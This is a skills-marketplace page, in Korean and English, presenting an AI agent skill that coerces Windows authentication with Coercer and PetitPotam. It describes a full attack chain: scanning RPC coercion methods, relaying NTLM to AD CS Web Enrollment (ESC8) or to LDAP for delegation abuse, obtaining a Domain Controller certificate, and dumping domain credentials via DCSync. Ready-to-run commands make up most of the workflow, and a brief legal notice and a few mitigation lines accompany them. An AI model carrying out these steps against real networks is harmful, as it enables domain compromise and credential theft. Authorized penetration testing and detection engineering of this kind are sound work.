본문으로 건너뛰기
cccskills
무료GitHub에 공개

coercing-authentication-with-coercer-petitpotam

Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer across MS-RPRN, MS-DFSNM, and MS-FSRVP to feed NTLM relay into AD CS Web Enrollment (ESC8) and other relay targets.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

실행 점수 미검증

설치 방법 보기

포함된 파일(4)

  • SKILL.md8.5 KB
  • references/api-reference.md2.4 KB
  • references/standards.md1.3 KB
  • scripts/agent.py4.6 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Coercing Authentication with Coercer and PetitPotam

Legal Notice: This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.

Overview

Many Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its machine account. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is "Forced Authentication"; combined with an NTLM relay, the coerced machine credential is relayed to a service that does not enforce signing/EPA, most famously AD CS Web Enrollment (ESC8), yielding a certificate for the Domain Controller and ultimately domain compromise.

PetitPotam (Gilles Lionel / topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv methods. Coercer (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug/SpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: scan (probe which RPC methods are reachable/coercible), coerce (trigger authentication), and fuzz (research path variations). Sources: p0dalirius/Coercer, topotam/PetitPotam, The Hacker Recipes — Forced Authentications.

When to Use

  • To complete an ESC8/ESC11 chain by forcing a DC to authenticate to a relay
  • To trigger machine authentication for NTLM relay to LDAP (RBCD) or SMB
  • When a relay target is identified but no inbound authentication is occurring naturally
  • During detection engineering to generate coercion telemetry for blue-team tuning
  • To validate that DCs/servers are patched and that relay mitigations (signing/EPA) hold

Prerequisites

  • Authorized scope including coercion and NTLM relay techniques
  • Valid (often low-privileged) domain credentials; some methods work unauthenticated against unpatched hosts
  • A relay listener (Certipy relay or Impacket ntlmrelayx) on a reachable host
  • Network reachability to the target's RPC endpoints (135 + dynamic, 445)
  • Linux attack host with Python 3.8+; install the tools:
    # Coercer
    pipx install coercer        # or: sudo python3 -m pip install coercer
    coercer --help
    # PetitPotam (source)
    git clone https://github.com/topotam/PetitPotam
    # Impacket (provides ntlmrelayx, dFSCoerce etc.)
    pipx install impacket
    

Objectives

  • Identify which RPC coercion methods a target exposes (scan mode)
  • Stand up an NTLM relay pointed at a vulnerable service (e.g., AD CS web enrollment)
  • Coerce the target machine account to authenticate to the relay
  • Obtain a relayed artifact (DC certificate via ESC8, RBCD write via LDAP)
  • Document coercible methods and recommend patching/mitigations

MITRE ATT&CK Mapping

IDTechniqueApplication in this skill
T1187Forced AuthenticationUsing MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC methods to force a target machine account to authenticate to an attacker-controlled host

Chained techniques: T1557.001 (LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.

Workflow

Step 1: Scan the target for coercible methods

Use Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.

coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

-t is the target (e.g., the DC), -l is the listener IP that should receive the coerced authentication.

Step 2: Stand up the relay (ESC8 example)

In a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.

# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'

# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController

Step 3: Coerce authentication with Coercer

Trigger the target machine account to authenticate to the relay/listener. --always-continue tries every method until one succeeds.

coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50 --always-continue

To use a single specific method (quieter), filter by method name:

coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam

Step 4: Coerce with PetitPotam directly (MS-EFSR)

PetitPotam is the canonical MS-EFSR coercion and works unauthenticated against unpatched DCs. Syntax: petitpotam.py <listener> <target>.

# Unauthenticated attempt
python3 PetitPotam.py 10.0.0.50 10.0.0.10
# Authenticated (more reliable on patched-but-vulnerable hosts)
python3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10

Step 5: Use the relayed result

For ESC8, the relay writes a DC certificate (dc.pfx). Authenticate as the DC and DCSync.

certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
# Then DCSync with the recovered DC credential
impacket-secretsdump -k -no-pass 'corp.local/dc$@dc.corp.local' -just-dc

Step 6: Relay to LDAP for RBCD (alternative chain)

If ESC8 is unavailable, relay coerced auth to LDAP to configure Resource-Based Constrained Delegation.

# Relay to LDAP and delegate to attacker-controlled computer account
impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access \
    --escalate-user 'attacker$' -smb2support
# Then coerce as in Step 3

Step 7: Fuzz mode for unpatched-path discovery (research)

Fuzz mode varies UNC paths to find coercion paths bypassing partial patches.

coercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

Tools and Resources

ResourcePurposeLink
CoercerMulti-method automated coercion (12 methods)https://github.com/p0dalirius/Coercer
PetitPotamMS-EFSR coercionhttps://github.com/topotam/PetitPotam
Certipy relayESC8/ESC11 relay targethttps://github.com/ly4k/Certipy
Impacket ntlmrelayxRelay to AD CS / LDAP / SMBhttps://github.com/fortra/impacket
The Hacker RecipesCoercion & relay theoryhttps://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications

Coercion Method Reference

MethodProtocolNotes
PetitPotamMS-EFSREfsRpcOpenFileRaw / EfsRpcEncryptFileSrv; classic ESC8 trigger
PrinterBug / SpoolSampleMS-RPRNRpcRemoteFindFirstPrinterChangeNotificationEx; needs Spooler
DFSCoerceMS-DFSNMNetrDfsAddStdRoot; often works post-PetitPotam patch
ShadowCoerceMS-FSRVPIsPathSupported / IsPathShadowCopied
Others (Coercer)MS-EVEN, etc.12 methods total; use scan to enumerate

Validation Criteria

  • Coercer scan identified at least one reachable coercion method on the target
  • Relay listener stood up against a confirmed vulnerable service
  • Target machine account successfully coerced to authenticate to the listener
  • Relayed artifact obtained (DC certificate, RBCD write, or SMB exec)
  • (ESC8) DC certificate used to authenticate and DCSync demonstrated
  • Coercible methods documented with affected host and patch recommendation
  • Relay mitigations (SMB/LDAP signing, EPA, RPC filters) validated or flagged

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Extract DPAPI-protected secrets such as credentials and browser data offline and online.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

andycungkrinx91/konoha122026년 10월 21일 업데이트

Audit, detect, and remediate Shadow Credentials misconfigurations on msDS-KeyCredentialLink in Active Directory. Focuses on access-controls, monitoring Event ID 5136, and credential-management hygiene.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

andycungkrinx91/konoha122026년 10월 21일 업데이트

Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

andycungkrinx91/konoha122026년 10월 21일 업데이트

Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

andycungkrinx91/konoha122026년 10월 21일 업데이트

Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

andycungkrinx91/konoha122026년 10월 21일 업데이트

Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source recovery, and androguard for permission analysis, manifest inspection, and suspicious API call detection.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

andycungkrinx91/konoha122026년 10월 21일 업데이트

andycungkrinx91의 스킬 모두 보기

이 스킬의 문제 신고